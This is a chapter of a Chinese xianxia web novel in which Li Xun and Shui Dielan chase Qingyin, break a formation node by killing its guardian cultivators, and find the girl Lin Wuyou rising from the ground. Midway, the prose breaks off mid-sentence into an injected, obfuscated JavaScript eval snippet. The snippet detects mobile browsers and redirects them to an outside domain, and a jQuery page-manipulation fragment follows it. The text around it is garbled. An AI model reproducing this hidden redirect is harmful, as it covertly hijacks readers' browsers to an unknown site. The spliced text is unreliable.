第七章 意外
    追踪继续可李珣仍不免为眼前的事实惊叹。

    自他道法初成以来从来没像现在这样觉得两三千里的路程会是这么遥远。

    此时的东海上比原来要明亮一些可灰霾密布寒风劲吹六七月间的海面转眼间来到了数九严冬。

    随着光线的转亮人们的视野没有任何变化甚至比之前更小一些厚厚的云层下浅灰的冰晶簌簌飘落像一面千疮百孔的幕布遮挡人们的视线也封住了这一片冰冷的天地。

    风灾阴狱的表面杀伤不如之前阳罡雷炎那样暴烈直接可论及影响范围、持续时间、阴毒程度都是远胜。

    随着时间的流逝寒气的累积幅度也越来越惊人偏偏这种寒冷并非是通过大气、海水、陆地的表征来体现的而是直接用于这海天之间亿万生灵的生机脉动逐分削弱、逐分冻结。

    正因为这个原因没有人会比李珣更能感受到这一劫数的可怕。相应的他已经很长时间没有开口说过一句话了。

    这时候水蝶兰提醒他:「灾劫越来越重东海生灵损伤太多现在追踪你那老相好可是越来越难了。」

    李珣默默点头抬眼打量前方。

    透过冰雾尘埃他已经看到了代表陆地的暗影。而且从这边已经能够很清楚地看到九幽地气喷发的巨大黄灰色气柱。自风灾阴狱肆虐以来

    如果青吟的目的地就是那里时间就足够了不过……

    「她转向了!」

    水蝶兰声音突然变得急促声调却反常地压低。

    李珣猛抬头顺着水蝶兰所指的方向仿佛看见那削瘦的身影切着九幽地气的喷发点绕了个极大的弧线朝更深的内陆向行去。

    再往西是东南林海。全天下的修士都知道那里是李珣的地盘!

    「这贱人!」

    李珣有种被耍弄的尴尬以至于一句粗口脱口而出。

    水蝶兰白过来一眼却没有说什么李珣倒是利用这法子宣泄出大半负面情绪恢复了、至少表面上恢复了平静道了一声:「跟上去!」

    两人修正了线路同时速度也变得更快。

    大概是己接近核心地带的缘故罡煞浑仪阵势的压力反而变得弱了通向古音所在地的路途已经是畅通无阻。

    李珣向那边望了一眼仅此而己。

    「她停下来了就在两百里外。」水蝶兰继续通报青吟的最新情况:「那里有不少人应该是散修盟会一边的她似乎在观察没有进一步动作。」

    两百里放在平日以血影妖身的神速这就是一眨眼的工夫可如今他们至少还要近百息的时间。

    水蝶兰突然放慢速度眉头也皱了起来她正将更多的注意力放到捕捉青吟的踪迹上去。

    可事态仍不可避免地向糟糕的一面转化虽说彼此相距仅有百余里路可在此类环境下老天爷已经将干扰做到了近乎无耻的地步。

    终于妖女停下脚步:「她好像又移动了……断了!」她极无奈地摊开手:「她身处的地点方圆五十里内一切生灵都给灭了个干净我那法子也不灵了。」

    李珣也在苦笑在水蝶兰放慢速度的时候他就有此预感并早一步试探自己的感应能力结果同样很不理想。

    正如水蝶兰所说那个范围内生机脉动稀少得令人心悸一切天生天养的东海生灵尽被天地间的寒气冰毙只余下一群修士守在那里不知在做什么勾当。

    至于青吟……没有任何反应。

    水蝶兰突然打了个喷嚏随即一脸苦色地捂住鼻子低咒道:「这鬼风刺激性太强什么气味儿都给遮蔽掉了……我们干脆直接过去说不定青吟还没走远呢?」

    也只能这样了。李珣当先飞到丛林上空水蝶兰紧随其后虽说已有一段时间没遇到散修盟会的干扰但二人飞行时仍不免放慢了速度。概因这片丛林里情况实在太惨了。

    这个位置他们几天之前其实也来过还在临近的海滩上说了会儿话可是旧地重游李珣却有些不敢认了。

    海滩后茂密的丛林挂上了一层白霜葱绿的颜色几乎已经看不到了从半空中俯瞰下去视线所及之处大片大片的林木冻伤、冻死纵然白霜下树叶仍是翠绿颜色一时不会枯萎掉落但确实已毫无生机可言。

    而那些禽兽之属遭受的灾劫则表现得更为直接。

    夏季丛林应有的飞禽走兽一个个销声匿迹林间缭绕的寒雾里几乎看不到任何活物仔细观察便能看到那些生灵的尸骸遍布丛林的每个角落单位当以十万计。

    李珣伸手虚空抓了一把手指拈动似乎在测试空气的手感而事实上这是幽魂噬影宗「拈风探灵」的秘术

    「这里差不多要比得上鬼门湖了

    。」

    「正常,风灾阴狱的作用之一,就是大范围杀伤生灵,提高怨灵阴气的浓度,否则,哪会有『阴狱』这个称呼?而且,这是为接下来的魔劫做准备。」

    对此,水蝶兰当真是如数家珍,好像世上从来就没有她不知道的事情:「眼下范围还是小的,我遇到的一次,半个通玄界给冰封进去,并且持续了整整百日,那是真真正正的生灵绝灭、百鬼夜行,那一回,后续的影响足足用了两百年才消化干净。」

    言下之意,是要东海上的修士知足常乐?

    揣着这样啼笑皆非的心思,二人来到了青吟最后一次现身的地方,果然如水蝶兰所说,方圆五十里范围内,草木生灵,确死了个干净。唯一与预测不一致的,就是它们并非尽数在风灾阴狱中冻毙,而是有一批林木被人为砍伐,清出了一片不小的地来。

    也因为如此,视线所及的范围内,那一拨散修盟会的修士便显得分外碍眼。

    这群修士或站或坐,看起来零零落落,可隐然形成一个圈子,观其神态,又是精悍冷静,正是外松内紧。

    李珣搭眼一扫,看到其中有几位颇为面善,似乎在通玄界有些名头,不过,像是十执议那种级数的高手,并不存在。

    对方相当警觉,不过水蝶兰是此界首屈一指的幻术宗师,由她小试牛刀,便让二人无声无息地落在距那群修士百尺之遥的一片半人高的灌木中,根据水蝶兰的说法,最后一次捕捉到青吟的踪迹,便是在此。

    两人的注意力都没有再放回那群修士身上,而是细致地检查树丛上下,希望能寻找到一些蛛丝马迹。

    在这种事情上,水蝶兰的造诣依然要强过李珣,她来回几趟,还真的找到一些线索。

    由此,二人又绕了个小圈儿,来到一里外林木更为密集的树林。

    水蝶兰当先跃上一棵高有七八丈的巨树,然后摇头:「只能查到这儿了,你那相好就是从这飞上半空,再去了哪里,就要问贼老天。」

    「贼老天」三字刚出口,九霄之上,就又是一道雷火劈落。

    电光张牙舞爪,直劈向东海上空,殷殷雷鸣似从极远处来,又撼人肺腑,提醒人们,此刻的主流,仍然是东海上的生死激战。

    在雷火劈下的时候,水蝶兰眉头一挑,心中感应到什么,她扭过头,从这个角度俯视不远处的那群散修。这里并没有其它什么人到来,但是罡煞风暴的强度不减,偏偏那群散修好像木桩子似的,定在地面上,场面说不出的古怪。

    她将视线移回来,目注李珣,正要说话,却见李珣也在盯着那群人,初时目光凌厉,仿佛有什么深仇大恨,可渐渐的,目光已是散而不凝,全不在一个焦点上,似乎要透过那层人墙,看到之后的什么东西。

    「有古怪?」

    水蝶兰将脑袋凑过去,尝试是否能在李珣这个位置看出更多的东西,李珣并不介意这样的亲密姿态,只是抬起手,在虚空划出几道无形的线路。

    「非常高妙的禁法布置,看似禁制,又随时可转化为阵势,动静之间,可以容纳相当规模元气流动。」

    所谓禁制、阵势,差别其实不像字面上那么巨大,前者相对静态,草木土石、甚至是随手刻划的纹路都能达成目的,后者多用更具灵活性的人来布置。可本质上,都是利用有限的资源、巧妙的设计生成种种变化,达成牵引气机、驱动元气的目的。

    一个合格的禁法学习者,必然要兼通这两门同源而异的手段,但真正可以将其灵活运用到现实中的人物,却是少之又少,便是李珣自己,由于缺乏相应的经验,在阵势这一栏上,也不敢说有什么自信。

    但是眼前这个古怪的场面里,分明便蕴含着禁制、阵势双向转化的高明手笔,又怎能不引起李珣的注意。

    而且,不论是李珣还是水蝶兰,都隐约发现了,这一个偏僻的角落,与东海局势说不清道不明的那层关系。

    「难道这就是传说的阵眼?」

    水蝶兰纯粹是信口开河,哪知李珣竟然点头:「很有可能。」

    说着,他继续在虚空中比划:「阳动之机在南,而雷泽在北,雷动之时,诸机发端……」

    「停!」水蝶兰没好气地打断他的话:「说点别人能听懂的东西。」

    李珣闻言一笑,继续道:「简单点儿说,这里与罡煞浑仪的阵势关联密切,尤其是劫雷外放时,元气激荡,这里的反应尤剧烈。可是这里的禁法安排,并没有随着阵势的变动而变动,始终处于相对静止的状态。从这方而来看,是罡煞浑仪阵势阵的可能性很大,甚至有可能是主阵眼所在。」

    「主阵眼?」水蝶兰没有什么欢欣鼓舞的意思,倒是环目四顾,打量周边环境:「若是主阵眼,古音就只布置这么一点几看着?」

    「所以只是有可能。况且这里面还有一些不明白的地方。纵然是阵眼,与外界元气的交换也太频繁了些,未免有失阵眼『汲而不足、流而不漫』的本意……」

    李珣说了半截,忽地停口,他很懊恼地发现,自己终

    究还是分了心,不管是东海上多变局势,还是单纯的罡煞浑仪阵法本身,都对他有相当大的吸引力,以至于经常忘掉眼前最重要的事情。

    青吟、青吟、青吟……

    在心里默念那贱人的名字,希望能得到一点儿启示,但是,四面八方轰传过来的,全都是东海大战的讯息。

    这无穷无尽的讯息仿佛汪洋大海,而游离于整个局势之外的青吟,则是大海中不起眼的水滴,在接连失去两项感应利器之后,他又怎能捕捉到对方的踪迹?

    「如果打掉这里,会怎样?」

    水蝶兰的兴趣还在前面的「疑似阵眼」上停留,可这话传到李珣耳朵里,却是轰然一震。

    「如果我破掉阵势,会怎样?」

    语句接近,但涵义截然不同的应答返回去,水蝶兰立刻睁大了眼睛。

    李珣却是越想越有意思。既然青吟绕了个大圈,跑到这里来,附近总有让她感兴趣的东西,而东海上的形势隐约显示出,钟隐、青吟、古音三者有某种苟合的可能,那么,打破形势进程,甚至扭转局面,无疑是冲击其既定计划的最佳方式。

    找不到她,就让她来找我——这样的思路,似乎很不错!

    正如他不甘心被人玩弄利用,青吟那边,难道就真的甘心忍辱?

    水蝶兰这时才皱眉说话:「虽说我是外行,不过……你这打算应该很危险吧?」

    「如果破解不力,就要承担阵势反噬,自然是很危险的,尤其是里面还有些关节我看不太清,失手的可能性很大。」

    水蝶兰看着李珣异常的轻松姿态,扬起眉毛,不再说话。如此不配合,让李珣后面的措辞不免有些卡壳,只能老老实实地解释:「天下事,总是破坏容易建设难。世上有个最笨但也最有效的法子,叫做一力降十会;还有句话,叫祸水东引。两边合一起,放在禁法布置上,也有个名目,叫以阵破阵。」

    也许是受玄化真人的刺激,李珣觉得自己现在真是灵思泉涌,一项非常有难度的工作,竟是转眼被他寻到解决思路。他微着从怀里取出一件物事,放在水蝶兰眼前。

    寒风吹动,李珣手中的对象也随之微微摆动。

    这是一颗宛如雕的青碧色羽毛,长约两寸许,摆动时,幽蓝的光华在上面流动,似乎始终向外发散着清冷的毫光。

    显然,这就是那根青鸾飞升时留下的羽毛,由李珣转交给妖风,再由妖风回赠。

    关于这根青羽,妖风所说的那些话,李珣并没有放

    在心上

    他伸出右手拇食二指轻捏住羽毛的中轴自根部起缓缓抹过。指尖有隐隐的血色流动乍看去像是划破了手指但青羽上却一尘不染只是那幽蓝的光芒之中慢慢渗入丝丝血光。

    「青鸾灵羽确实不同凡响。虽说沾染上界仙灵之气质性有些不合炼制起来太费工夫但若用逆冲法以激发精血厉魄效果更佳。」

    李珣将青羽举过头顶照着灰沉沉的天光仔细观察末了满意点头。

    「有先前收集的底血还有这满东海的死灵怨气布下血灵飞羽阵正是事半功倍嗯也许只要搭个简单的架子就可以……在这儿等我一会儿马上回来。」

    也不再和旁边的禁法白痴多说李珣兴冲冲没入了丛林深处。

    水蝶兰哼了一声终究没说什么但在此时她后方远处又是一阵地动山摇。

    元气对撞冲击的势头几乎要压过劫雷一头其声威比玄化身死前那一战绝对要强上一个档次。

    「还是玉散人傀儡这回的对头是……七无吧。」远方的震荡实在太过剧烈以至于水蝶兰轻松感应出大致的情况:「终究有灭门死仇的这道士冲得真快差不多要和古音面对面了……嗯说是古音让他冲得这么快或许更准确些?」

    伤其十指不如断其一指击杀一个恨火烧心的真一宗师确实要比击杀同样境界但心神清明的对手容易得多。

    可是古音对自己还真有信心……

    半刻钟后便在她百无聊赖地猜测局而变化时林子里忽然刮起一阵急风吹得树叶哗哗做响叶面上的白霜飞落像是林间下了一阵小雪。

    水蝶兰伸手轻拢被风吹乱的鬓发对这另类的风雪交加的场景不以为意但与之同时另一只拢在袖中的纤手却轻轻翻转霎时间她从树冠的最顶端消失了再出现时已经是一里外的丛林深处。

    方一现身水蝶兰迭纱长袖已然拂出前方重重树影无法起到任何阻拦作用被她丝缕般的劲力透过充斥着罡煞风暴的虚空蓦然倒错整个空间像被人倒提着晃了两下那荒谬错位的感觉直令人以为在梦中。

    这边一出手气息便再也遮掩不住。空地上那一群修士当即生出感应站着的绷直了身子坐着的更是直接跳起来注意齐齐转

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14177476|150609||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    向水蝶兰出手的方位。

    可惜他们全都错了。

    罡煞风暴的低啸声中忽地弹起一声突兀的尖音像是弓弦崩断余音犹在。这群修士中有个感应特别灵敏的瞬间把住了正确的方位扭头去看。

    但下一瞬间他便被那一抹血红的寒光刺伤了眼睛。

    一切相应的气机连接和反应都淹没在天劫与罡煞风暴共同作用的大环境中当血灵羽剑曳空而至时就连感应能力最强修士也只能捕捉到远在剑光之后的那缕尖音而这时候挡在剑芒轨迹之前的四名修士

    这一剑以冥王宗无苦的真人级精血厉魄打底又有周围丛林中百万死灵怨气灌注论杀伤力固然仍比不上嵩京城外那一剑西来的凌厉但已经远远超过了剃刀峰下那裂喉噬魂的层级。

    剑光破地而入的瞬间周边散修同时惨哼有一股无形而妖异的力量攫住了他们的心脏然后骤然发力!

    沉闷的破碎声在他们胸腔内响起四十四名修士的心脉齐齐断裂而凝聚他们一身修为的精血则在此瞬间破体而出拉出笔直的数十道血线向场地中央飞射。

    事实上就在此刻他们那充斥着怨气和不甘的魂魄也没有逃过异力的捕杀而是被束缚在精血之中倒飞回去。

    浓郁的血腥气弥漫林间随即便有一层细碎的血珠冰晶洒落下来如此狠辣的邪魔手段竟然没有招来天劫反噬正体现李珣已然妙至毫巅的禁法控制能力。

    撇开这个不说近五十具人体齐齐软倒的场面也是诡异又壮观而这个后果在这些修士甘愿作为禁法的一部分将自身生命力与禁制勾连的时候就应该有所准备才对。

    与此同叫在另一方向同样响起一记刺耳的声音。

    就像撕裂了一匹华美的绸缎水蝶兰翻手间破下的幻像天地自中央部位裂开了一道无法愈合的长痕。

    刹那间这一片天地再次恢复到了正常的模样两个同样纤细的身影朝着相反的方向飞退有一个在撞入后方阴森的树影转眼便消去踪影就此不见。

    水蝶兰轻飘飘地落在一株大树横生的树桠上淡蓝色的唇瓣抿得紧紧的心情颇为不佳。

    稍后李珣落在她身边脸上没有半点儿破阵后的喜悦用几乎一模一样的眼神叮着那片仍在扭动的树影。

    半晌男子才开口说话:「没事吧?」

    「就差一点点。

    」水蝶兰没有刻意掩饰,她抖动纱袖,显出上面一条刚刚裂开的长缝。

    这条缝隙一看便是被利刃划破,从手腕处一直切到肩头,透过缝隙,可以看到里面如凝脂般的肌肤。而肌肤之上,还有一浅浅的白痕,已经快要消失。

    「要是被切开了,保管又是个大麻烦。」

    水蝶兰己懒得解释,她是如何运用超一流的意识,将神剑的锋锐控制在毫厘之间。因为在她看来,刚刚那种情势下,竟然两人苦苦追索的目标自由游弋在周围,最后成功脱逃,不管有什么理由,都是一个耻辱。

    稍缓了缓情绪,水蝶兰转而问道:「你那边又怎么样了?」

    「还不清楚……反正不是希望中的那样。」

    说着,李珣强迫自己扭回头,去看那个被彻底破坏的禁法布置。

    近五十名修士姿态各异地倒在地上,生机全无,而这些人的中央,那一片被刻意平整过的空地,此时仍保持着平静,一切估计中的气机变化、元气流动,都没有发生。

    可李珣还是看到了,半空中,一片本应深入地底的血红羽毛正缓缓飘落。

    好像被什么东西……弹出来了?

    为了避免反噬出现时的气机锁定,李珣完全断开了对血灵飞羽阵的控制,故而很难解释,那一刻,无坚不摧的血灵羽剑究碰到了什么,竟然被硬生生地弹射上天。

    不过,这也就证明了,在这密布禁纹的地面之下,肯定存在若一个很了不得的东西。

    李珣遥空收回青羽,拿在手上,仔细打量。

    羽毛上流动的光芒依然是以幽蓝色打底,只是里而的血丝更密了些,他想了想,伸手轻抚,将其中收集的大量精血厉魄分出来,这一下,他便感觉到青羽中蕴台的本源力量,竟是出奇地活跃。

    「有古怪。」

    「是什么呢?」水蝶兰似乎忘记了之前的难堪,带着好奇,她率先向那边飞去,李珣叫声小心,忙收了青羽,跟了上来。

    两人才飞到半途,事态已然生变。

    被穿刺的地面下,终于作出反应。

    一串沉闷的咕噜声响起来,随后二人便看到平整的地面猛地隆出一个足有两尺高的小丘,随后便被一股巨大的力量冲开,裂出一个不规则的大口子,一时间土石飞溅,破空尖啸声不绝于耳。

    两人都惊了一下,忙止住身形,遥空观望。

    李珣更是迷惑,在他看来,这里没有气机的剧烈变化,也没有特别明显的元气波动,三千

    罡煞浑仪之阵仍然在有条不紊地行天劫依然在积蓄的过程中那这股力量又是从哪儿来的?

    「好像……有东西涌上来了?」水蝶兰不用感应而是利用自己天下独步的灵敏嗅觉发现了异样。她扭过脸来笑道:「也许这里是个火山口?或者你的血灵羽剑把某处地脉给击穿了?」

    她的猜测更像是讽刺李珣咧咧嘴没有回答。

    这时候地面开裂和喷涌的势头更加猛烈乍看倒真像是一个小型的火山喷发和那边足有两三里距离李珣二人也感觉了从中喷出的灼热气流。

    天地间终于起了变化。

    当喷发出来的气流达到了某个界限本就在不稳定状态的天地元气势必要作出反应其后果就是周围的罡煞风暴被逐渐驱散在这有限的范围内

    虽然相对纵横数千里的东海之滨实在不值一提可这范围似乎还在不断地扩大中。

    「大概是你那个以阵破阵到这时候终于起作用了?」

    水蝶兰笑嘻嘻地说着外行话李珣却根本笑不出来只能默默摇头稍停他眉毛皱紧沉声道:「真有东西上来了。」

    地面的裂隙在扩大气流的喷涌速度也开始减慢强大推力将某样东西慢慢顶上来。

    两人盯紧了那里眼睛眨都不眨。

    气流嘶啸的声音反常地低沉下去似乎能量用尽。但随后一个与土石明显不同颜色的对象浮上来粉红的暖色调此刻入目却有一层寒气瞬间弥漫人们的背脊。

    或许是罡煞风暴被排开的缘故林间一刻不息的风啸声也消失不见。李珣几乎可以听到地面裂隙之中那属于生灵的柔柔呼吸声。

    「林……无忧?」

    那位李珣极熟悉的女孩儿就这样从地面下浮上来她穿着一件粉红色的衫子闭着眼半长的乌发披散小脸儿不见血一向舒展明快的眉额也微微皱着像是陷进了噩梦之中。

    超乎想象的现实就这么浮现在李珣眼前。

    也在这一刻来自天地间那最崇高的力量源头就抓住他失神的空隙轰然反应。

    旁边水蝶兰突然消失刚刚惊觉的李珣只能看到她瞬间跨越数里的距离瞬间来到地面裂隙的上方手指探出毫不迟疑地一指点下。

    随后他的视线便模糊掉了。

    一股乎不可抗拒的强压从头顶灌下抵得他的脖子咯咯作响。高压挤迫气血